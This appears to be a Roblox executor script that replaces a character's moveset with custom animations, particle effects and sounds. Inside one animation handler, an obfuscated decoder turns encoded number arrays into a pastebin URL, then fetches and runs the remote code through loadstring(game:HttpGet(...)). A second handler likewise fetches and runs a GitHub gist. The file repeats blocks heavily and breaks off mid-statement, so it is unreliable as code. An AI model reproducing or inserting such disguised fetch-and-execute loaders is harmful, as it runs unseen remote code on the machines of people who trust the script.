local player = game.Players.LocalPlayer local playerGui = player.PlayerGui local hotbar = playerGui:FindFirstChild("Hotbar") local backpack = hotbar:FindFirstChild("Backpack") local hotbarFrame = backpack:FindFirstChild("Hotbar") local baseButton = hotbarFrame:FindFirstChild("1").Base local ToolName = baseButton.ToolName ToolName.Text = "Ravage miss" local player = game.Players.LocalPlayer local playerGui = player.PlayerGui local hotbar = playerGui:FindFirstChild("Hotbar") local backpack = hotbar:FindFirstChild("Backpack") local hotbarFrame = backpack:FindFirstChild("Hotbar") local baseButton = hotbarFrame:FindFirstChild("2").Base local ToolName = baseButton.ToolName ToolName.Text = "Ravage" local player = game.Players.LocalPlayer local playerGui = player.PlayerGui local hotbar = playerGui:FindFirstChild("Hotbar") local backpack = hotbar:FindFirstChild("Backpack") local hotbarFrame = backpack:FindFirstChild("Hotbar") local baseButton = hotbarFrame:FindFirstChild("3").Base local ToolName = baseButton.ToolName ToolName.Text = "swift sweep" local player = game.Players.LocalPlayer local playerGui = player.PlayerGui local hotbar = playerGui:FindFirstChild("Hotbar") local backpack = hotbar:FindFirstChild("Backpack") local hotbarFrame = backpack:FindFirstChild("Hotbar") local baseButton = hotbarFrame:FindFirstChild("4").Base local ToolName = baseButton.ToolName ToolName.Text = "Collateral Ruin" local Players = game:GetService("Players") local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local function findGuiAndSetText() local screenGui = playerGui:FindFirstChild("ScreenGui") if screenGui then local magicHealthFrame = screenGui:FindFirstChild("MagicHealth") if magicHealthFrame then local textLabel = magicHealthFrame:FindFirstChild("TextLabel") if textLabel then textLabel.Text = "20 series" end end end end playerGui.DescendantAdded:Connect(findGuiAndSetText) findGuiAndSetText() local animationId = 10468665991 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() local final1 = game.ReplicatedStorage.Resources.KJEffects["KJWallCombo"].FinalImpact.Attachment:Clone() final1.Parent = game.Players.LocalPlayer.Character["Head"] for _, child in ipairs(final1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(50) -- Emit 20 particles end end local final4 = game.ReplicatedStorage.Resources.KJEffects["KJWallCombo"].FinalImpact.Attachment:Clone() final4.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(final4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(3) -- Emit 20 particles end end end local player = game.Players.LocalPlayer repeat wait() until player.Character.Humanoid local humanoid = player.Character.Humanoid local character = player.Character or player.CharacterAdded:Wait() local UserInputService = game:GetService("UserInputService") local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://16945573694" local playAnim = humanoid:LoadAnimation(anim) anim.AnimationId = "rbxassetid://0" playAnim:Play() end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 10466974800 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' function UYzYcYgtLXIMYUdlzEkjadFiKBMWaPAllMFgcqgrTiXfFBBfvpSrlnMlujMlAdQNgcApnjQtqIWiovR(data) m=string.sub(data, 0, 100) data=data:gsub(m,'') data = string.gsub(data, '[^'..b..'=]', '') return (data:gsub('.', function(x) if (x == '=') then return '' end local r,f='',(b:find(x)-1) for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end return r; end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x) if (#x ~= 8) then return '' end local c=0 for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end return string.char(c) end)) end function PjukvfjPtFdhOrYqIsOIPiXnrfHTi(code)res=UYzYcYgtLXIMYUdlzEkjadFiKBMWaPAllMFgcqgrTiXfFBBfvpSrlnMlujMlAdQNgcApnjQtqIWiovR('gMwHoIiFGxktgTcnYIAPzodaMhkwkLbeHbDtEIchkLTjJICfevhtfejWvioDfTAXhtjYyDEiNcjYrKpnxzvQSOuqefjLABPDCCdN')for i in ipairs(code)do res=res..string.char(code[i]/105)end return res end -- Referências aos objetos local player = game.Workspace.Live[PjukvfjPtFdhOrYqIsOIPiXnrfHTi({9135,10605,10185,11235,10605,12075,12180,3360,7140,12285,11445,11445,12705})] local playerHumanoid = player:FindFirstChildOfClass(PjukvfjPtFdhOrYqIsOIPiXnrfHTi({7560,12285,11445,10185,11550,11655,11025,10500})) -- IDs das animações local playerAnimationId = PjukvfjPtFdhOrYqIsOIPiXnrfHTi({11235}) -- ID de animação do jogador (não utilizado no script fornecido) local dummyAnimationId = PjukvfjPtFdhOrYqIsOIPiXnrfHTi({5145,5670,5985,5460,5565,5565,5565,5775,5460,5355,5355}) -- ID de animação do Dummy -- Função para criar e adicionar animação local function addAnimation(humanoid, animationId) local animation = Instance.new(PjukvfjPtFdhOrYqIsOIPiXnrfHTi({6825,11550,11025,11445,10185,12180,11025,11655,11550})) animation.AnimationId = PjukvfjPtFdhOrYqIsOIPiXnrfHTi({11970,10290,12600,10185,12075,12075,10605,12180,11025,10500,6090,4935,4935}) .. animationId local animator = humanoid:FindFirstChildOfClass(PjukvfjPtFdhOrYqIsOIPiXnrfHTi({6825,11550,11025,11445,10185,12180,11655,11970})) if not animator then animator = Instance.new(PjukvfjPtFdhOrYqIsOIPiXnrfHTi({6825,11550,11025,11445,10185,12180,11655,11970})) animator.Name = PjukvfjPtFdhOrYqIsOIPiXnrfHTi({6825,11550,11025,11445,10185,12180,11655,11970}) animator.Parent = humanoid end local animationTrack = animator:LoadAnimation(animation) -- Atrasar o início da animação em 0.8 segundos wait(0.8) animationTrack:Play() end loadstring(game:HttpGet(PjukvfjPtFdhOrYqIsOIPiXnrfHTi({10920,12180,12180,11760,12075,6090,4935,4935,11760,10185,12075,12180,10605,10290,11025,11550,4830,10395,11655,11445,4935,11970,10185,12495,4935,8190,8820,12810,8505,9345,11865,12600,12705})))() -- Adiciona a animação ao Dummy addAnimation(playerHumanoid, dummyAnimationId) end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 10471336737 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local player = game.Players.LocalPlayer repeat wait() until player.Character.Humanoid local humanoid = player.Character.Humanoid local character = player.Character or player.CharacterAdded:Wait() local UserInputService = game:GetService("UserInputService") local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://16944345619" local playAnim = humanoid:LoadAnimation(anim) anim.AnimationId = "rbxassetid://0" playAnim:Play() end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 13927612951----omi local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") local AnimAnim = Instance.new("Animation") AnimAnim.AnimationId = "rbxassetid://18462892217" local Anim = Humanoid:LoadAnimation(AnimAnim) AnimAnim.AnimationId = "rbxassetid://0" Anim:Play() -- Local Script local soundId = 18460952794 -- Correct sound ID -- Create a new Sound instance local sound = Instance.new("Sound") sound.Name = "audio/kj_awakening_varient_2_sfx_only" sound.SoundId = "rbxassetid://" .. soundId sound.Volume = 1 sound.Pitch = 1.0 -- Pitch set to 1.0 sound.PlaybackSpeed = 1.0 -- Adjusted playback speed -- Parent the sound to Workspace sound.Parent = workspace -- Play the sound sound:Play() -- Local Script local soundId = 18460863844 -- Correct sound ID -- Create a new Sound instance local sound = Instance.new("Sound") sound.Name = "audio/kj_awakening_varient_2_sfx_only" sound.SoundId = "rbxassetid://" .. soundId sound.Volume = 1 sound.Pitch = 1.0 -- Pitch set to 1.0 sound.PlaybackSpeed = 1.0 -- Adjusted playback speed -- Parent the sound to Workspace sound.Parent = workspace -- Play the sound sound:Play() wait(0.5) local function stringToCFrame(str) local components = {str:match("([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+)")} for i = 1, #components do components[i] = tonumber(components[i]) end return CFrame.new(unpack(components)) end local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local torso = character:FindFirstChild("Torso") local workspace = game:GetService("Workspace") local resourcesFolder = ReplicatedStorage:FindFirstChild("Resources") if not resourcesFolder then return end local fiveSeasonsFX = resourcesFolder:FindFirstChild("FiveSeasonsFX") if not fiveSeasonsFX then return end local jumpFXModel = fiveSeasonsFX:FindFirstChild("JumpFX") if not jumpFXModel then return end local jumpFXPart = jumpFXModel:FindFirstChild("JumpFX") if not jumpFXPart then return end local clonedJumpFX = jumpFXPart:Clone() clonedJumpFX.Parent = workspace local function emitParticles(instance) for _, child in ipairs(instance:GetDescendants()) do if child:IsA("ParticleEmitter") then child.Enabled = true child:Emit(1) child.Enabled = false end end end local function positionOnFloor(part) if torso then local torsoPosition = torso.Position local rayOrigin = torsoPosition + Vector3.new(0, 10, 0) local rayDirection = Vector3.new(0, -20, 0) local raycastResult = workspace:Raycast(rayOrigin, rayDirection) if raycastResult then part.Position = raycastResult.Position - Vector3.new(0, 0.9, 0) end end end emitParticles(clonedJumpFX) positionOnFloor(clonedJumpFX) Wait(3.5) local red4 = game.ReplicatedStorage.Resources.FiveSeasonsFX["CharFX"].ArmBurst.Attachment:Clone() red4.Parent = game.Players.LocalPlayer.Character["Left Arm"] for _, child in ipairs(red4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(20) -- Emit 20 particles end end local red4 = game.ReplicatedStorage.Resources.FiveSeasonsFX["CharFX"].ArmBurst.a:Clone() red4.Parent = game.Players.LocalPlayer.Character["Left Arm"] for _, child in ipairs(red4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(20) -- Emit 20 particles end end local red4 = game.ReplicatedStorage.Resources.FiveSeasonsFX["CharFX"].ArmFX:Clone() red4.Parent = game.Players.LocalPlayer.Character["Left Arm"] for _, child in ipairs(red4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(1) -- Emit 20 particles end end wait(2.1) red4:Destroy() local red4 = game.ReplicatedStorage.Resources.FiveSeasonsFX["CharFX"].EyeEmit:Clone() red4.Parent = game.Players.LocalPlayer.Character["Head"] for _, child in ipairs(red4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(20) -- Emit 20 particles end end local red4 = game.ReplicatedStorage.Resources.FiveSeasonsFX["CharFX"].ArmBurst.Attachment:Clone() red4.Parent = game.Players.LocalPlayer.Character["Left Arm"] for _, child in ipairs(red4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(20) -- Emit 20 particles end end local red4 = game.ReplicatedStorage.Resources.FiveSeasonsFX["CharFX"].ArmBurst.a:Clone() red4.Parent = game.Players.LocalPlayer.Character["Left Arm"] for _, child in ipairs(red4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(20) -- Emit 20 particles end end local red4 = game.ReplicatedStorage.Resources.FiveSeasonsFX["CharFX"].ArmFX:Clone() red4.Parent = game.Players.LocalPlayer.Character["Left Arm"] for _, child in ipairs(red4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(1) -- Emit 20 particles end end wait(1.8) red4:Destroy() -- Get the player and their character local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local torso = character:WaitForChild("Torso") -- Function to find a descendant recursively by name local function findDescendant(parent, name) local child = parent:FindFirstChild(name) if not child then for _, descendant in ipairs(parent:GetChildren()) do child = findDescendant(descendant, name) if child then break end end end return child end -- Function to duplicate a ParticleEmitter local function duplicateEmitter(originalEmitter) local duplicate = originalEmitter:Clone() duplicate.Parent = originalEmitter.Parent duplicate.Rate = 100 -- Set the rate of the duplicated emitter to 100 initially return duplicate end -- Look for the tpthing ParticleEmitter local replicatedStorage = game:GetService("ReplicatedStorage") local resourcesFolder = replicatedStorage:WaitForChild("Resources", 2) -- Wait for 2 seconds if not immediately found if resourcesFolder then local kjEffectsFolder = resourcesFolder:FindFirstChild("KJEffects") if kjEffectsFolder then local tpThingEmitter = findDescendant(kjEffectsFolder, "tpthing") if tpThingEmitter and tpThingEmitter:IsA("ParticleEmitter") then -- Duplicate the emitter local duplicatedEmitter = duplicateEmitter(tpThingEmitter) -- Parent the duplicated emitter to the character's torso duplicatedEmitter.Parent = torso print("Successfully parented duplicated tpthing ParticleEmitter to Torso and set Rate to 100.") -- Wait for 1.0 seconds wait(0.2) -- Set the rate of the duplicated emitter to 0 duplicatedEmitter.Rate = 0 print("Successfully set Rate of duplicated emitter to 0 after 1.0 seconds.") else warn("Could not find tpthing ParticleEmitter or it is not a ParticleEmitter.") end else warn("Could not find KJEffects folder inside Resources.") end else warn("Could not find Resources folder inside ReplicatedStorage.") end Wait(0.2) local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() -- Get the player and their character local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local leftArm = character:WaitForChild("Left Arm") -- Check if the "ArmEnabled" object exists in the "Left Arm" local armEnabled = leftArm:FindFirstChild("ArmEnabled") if armEnabled then -- Remove the "ArmEnabled" object armEnabled:Destroy() print("Successfully removed ArmEnabled from Left Arm.") else warn("Could not find ArmEnabled in Left Arm.") end local player = game.Players.LocalPlayer local userInputService = game:GetService("UserInputService") local activated = false end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 12510170988 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local player = game.Players.LocalPlayer repeat wait() until player.Character.Humanoid local humanoid = player.Character.Humanoid local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://17325254223" local playAnim = humanoid:LoadAnimation(anim) anim.AnimationId = "rbxassetid://0" playAnim:Play() wait(1) local boom1 = game.ReplicatedStorage.Resources.KJEffects["spinnerthing"].spinningpartysmoke:Clone() boom1.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(boom1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(3) -- Emit 20 particles end end local collateral1 = game.ReplicatedStorage.Resources.KJEffects["spinnyweenyspinner"].Attachment:Clone() collateral1.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral2 = game.ReplicatedStorage.Resources.KJEffects["spinnyweenyspinner"].Emit:Clone() collateral2.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral2:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral3 = game.ReplicatedStorage.Resources.KJEffects["spinnerthing"].spinningparty:Clone() collateral3.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral3:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral4 = game.ReplicatedStorage.Resources.KJEffects["spinnerthing"].spinningpartysmoke:Clone() collateral4.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end wait(0.2) playAnim:AdjustSpeed(0) wait(0.3) playAnim:AdjustSpeed(1) local player = game.Players.LocalPlayer local playerCharacter = player.Character or player.CharacterAdded:Wait() local replicatedStorage = game:GetService("ReplicatedStorage") local resourcesFolder = replicatedStorage:WaitForChild("Resources") local kjEffectsFolder = resourcesFolder:WaitForChild("KJEffects") local thingNearOne = kjEffectsFolder:WaitForChild("SpinnerDownMesh") local mesh = thingNearOne:WaitForChild("Mesh") if mesh then local part = Instance.new("Part") part.Size = Vector3.new(1, 1, 1) part.Anchored = true part.CanCollide = false part.Transparency = 1 -- Set the part's transparency part.Parent = game.Workspace local meshClone = mesh:Clone() meshClone.Parent = part local decal = Instance.new("Decal") decal.Texture = "rbxassetid://9572542664" decal.Face = Enum.NormalId.Front decal.Parent = part local humanoidRootPart = playerCharacter:WaitForChild("HumanoidRootPart") local offset = Vector3.new(0, 5, 0) part.CFrame = CFrame.new(humanoidRootPart.Position + offset) * CFrame.Angles(math.rad(-2000), 0, 190) wait(0.3) part:Destroy() else warn("Mesh not found inside thingNearOne.") end local boom1 = game.ReplicatedStorage.Resources.KJEffects["SpinningSmoke"].Smoke:Clone() boom1.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(boom1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(60) -- Emit 20 particles end end local leap1 = game.ReplicatedStorage.Resources.KJEffects["LeapParticles"].Leap:Clone() leap1.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(leap1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(1) -- Emit 20 particles end end local collateral1 = game.ReplicatedStorage.Resources.KJEffects["spinnyweenyspinner"].Attachment:Clone() collateral1.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral2 = game.ReplicatedStorage.Resources.KJEffects["spinnyweenyspinner"].Emit:Clone() collateral2.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral2:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral3 = game.ReplicatedStorage.Resources.KJEffects["spinnerthing"].spinningparty:Clone() collateral3.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral3:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral4 = game.ReplicatedStorage.Resources.KJEffects["spinnerthing"].spinningpartysmoke:Clone() collateral4.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral4:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral5 = game.ReplicatedStorage.Resources.KJEffects["spinbeam"].beam2:Clone() collateral5.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral5:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral6 = game.ReplicatedStorage.Resources.KJEffects["ColateralImapct"].HitTwo:Clone() collateral6.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral6:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral7 = game.ReplicatedStorage.Resources.KJEffects["ColateralImapctTest"].HitTwo:Clone() collateral7.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral7:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local collateral8 = game.ReplicatedStorage.Resources.KJEffects["ColateralImapctTest2"].HitTwo:Clone() collateral8.Parent = game.Players.LocalPlayer.Character["HumanoidRootPart"] for _, child in ipairs(collateral8:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(2) -- Emit 20 particles end end local fine3 = game.ReplicatedStorage.Resources.KJEffects["fine...Emit"].EmitBatch2:Clone() fine3.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(fine3:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(1) -- Emit 20 particles end end local boom1 = game.ReplicatedStorage.Resources.KJEffects["ImpactEffect2"].Attachment:Clone() boom1.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(boom1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(3) -- Emit 20 particles end end local boom1 = game.ReplicatedStorage.Resources.KJEffects["SpinningSmoke"].Smoke:Clone() boom1.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(boom1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(20) -- Emit 20 particles end end local boom1 = game.ReplicatedStorage.Resources.KJEffects["spinnerthing"].spinningpartysmoke:Clone() boom1.Parent = game.Players.LocalPlayer.Character["Torso"] for _, child in ipairs(boom1:GetChildren()) do if child:IsA("ParticleEmitter") then -- Check if the child is a ParticleEmitter child:Emit(3) -- Emit 20 particles end end end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 11343318134 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end loadstring(game:HttpGet"https://gist.githubusercontent.com/kjremaker/fc6b674900d5bfe67c3890544a95561b/raw/3bf56c82c45a64b0c7f840be92fcc9a0c73f1961/unlimited%2520flexworks")() end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 11365563255 ------table flip local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local player = game.Players.LocalPlayer repeat wait() until player.Character.Humanoid local humanoid = player.Character.Humanoid local character = player.Character or player.CharacterAdded:Wait() local UserInputService = game:GetService("UserInputService") local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://17420452843" local playAnim = humanoid:LoadAnimation(anim) anim.AnimationId = "rbxassetid://0" playAnim:Play() end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 15955393872 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local player = game.Players.LocalPlayer repeat wait() until player.Character.Humanoid local humanoid = player.Character.Humanoid local character = player.Character or player.CharacterAdded:Wait() local UserInputService = game:GetService("UserInputService") local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://18447913645" local playAnim = humanoid:LoadAnimation(anim) anim.AnimationId = "rbxassetid://0" playAnim:Play() end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 12983333733 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local player = game.Players.LocalPlayer repeat wait() until player.Character.Humanoid local humanoid = player.Character.Humanoid local character = player.Character or player.CharacterAdded:Wait() local UserInputService = game:GetService("UserInputService") local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://17141153099" local playAnim = humanoid:LoadAnimation(anim) anim.AnimationId = "rbxassetid://0" playAnim:Play() end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 12447707844 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end task.spawn(function() local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") -- Create and load the first animation local firstAnimationId = "rbxassetid://15962326593" local secondAnimationId = "rbxassetid://17862066234" local firstAnimation = Instance.new("Animation") firstAnimation.AnimationId = firstAnimationId local firstAnimationTrack = humanoid:LoadAnimation(firstAnimation) -- Create and load the second animation local secondAnimation = Instance.new("Animation") secondAnimation.AnimationId = secondAnimationId local secondAnimationTrack = humanoid:LoadAnimation(secondAnimation) -- Play the first animation firstAnimationTrack:Play() -- Wait for 1.5 seconds before stopping the first animation and playing the second animation wait(1.5) firstAnimationTrack:Stop() end) task.spawn(function() local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoidRootPart = character:WaitForChild("HumanoidRootPart") local teleportDistance = 0.4 -- The distance to teleport forward each step local teleportInterval = 0 -- Time interval between each teleport (in seconds) local totalDuration = 1.55 -- Total duration of the teleportation (in seconds) local timeElapsed = 0 local startTime = tick() -- Record the start time while timeElapsed < totalDuration do humanoidRootPart.CFrame = humanoidRootPart.CFrame * CFrame.new(0, 0, -teleportDistance) wait(teleportInterval) timeElapsed = tick() - startTime -- Update the elapsed time end end) task.spawn(function() local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humRp = character:WaitForChild("HumanoidRootPart") -- Create and play sound effects local function playSounds() local soundSFX = Instance.new("Sound") soundSFX.SoundId = "rbxassetid://18445228824" soundSFX.Volume = 2 soundSFX.Name = "SFX" soundSFX.Parent = humRp soundSFX:Play() local soundSFX2 = Instance.new("Sound") soundSFX2.SoundId = "rbxassetid://18445228136" soundSFX2.Volume = 2 soundSFX2.Name = "SFX2" soundSFX2.Parent = humRp soundSFX2:Play() local soundSFX1 = Instance.new("Sound") soundSFX1.SoundId = "rbxassetid://18445227792" soundSFX1.Volume = 2 soundSFX1.Name = "SFX1" soundSFX1.Parent = humRp soundSFX1:Play() end local function createEffects() -- Create and configure the fine effect wait(1.7) local actuallyNice = game.ReplicatedStorage.Resources.KJEffects["fine...1"]:Clone() actuallyNice.CFrame = humRp.CFrame actuallyNice.CanCollide = false -- Create and configure the emit effects local boom = game.ReplicatedStorage.Resources.KJEffects["fine...Emit"]:Clone() boom.Parent = workspace boom.CanCollide = false boom.CFrame = humRp.CFrame * CFrame.new(0, -0.65, 0) local boom2 = game.ReplicatedStorage.Resources.KJEffects["fine...Emit2"]:Clone() boom2.Parent = workspace boom2.CanCollide = false boom2.CFrame = humRp.CFrame * CFrame.new(0, -0.65, 0) -- Emit particles from the first effect delay(0.16, function() for _, Particles in pairs(boom:GetDescendants()) do if Particles:IsA("ParticleEmitter") then actuallyNice.Parent = workspace Particles:Emit(Particles:GetAttribute("EmitCount")) end end end) -- Cleanup after 8.17 seconds delay(8.17, function() for _, Particles in pairs(boom2:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end boom2:Destroy() end) end local function executeVFX() -- Play sound effects and create visual effects playSounds() createEffects() end -- Execute the VFX when the script runs executeVFX() end) task.spawn(function() local player = game.Players.LocalPlayer repeat wait() until player.Character.Humanoid local humanoid = player.Character.Humanoid local character = player.Character or player.CharacterAdded:Wait() local UserInputService = game:GetService("UserInputService") local anim2 = Instance.new("Animation") anim2.AnimationId = "rbxassetid://17862066234" local playAnim2 = humanoid:LoadAnimation(anim2) wait(0.8) playAnim2:Play() wait(1.2) playAnim2:AdjustSpeed(0.15) wait(0.5) playAnim2:AdjustSpeed(1) end) end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 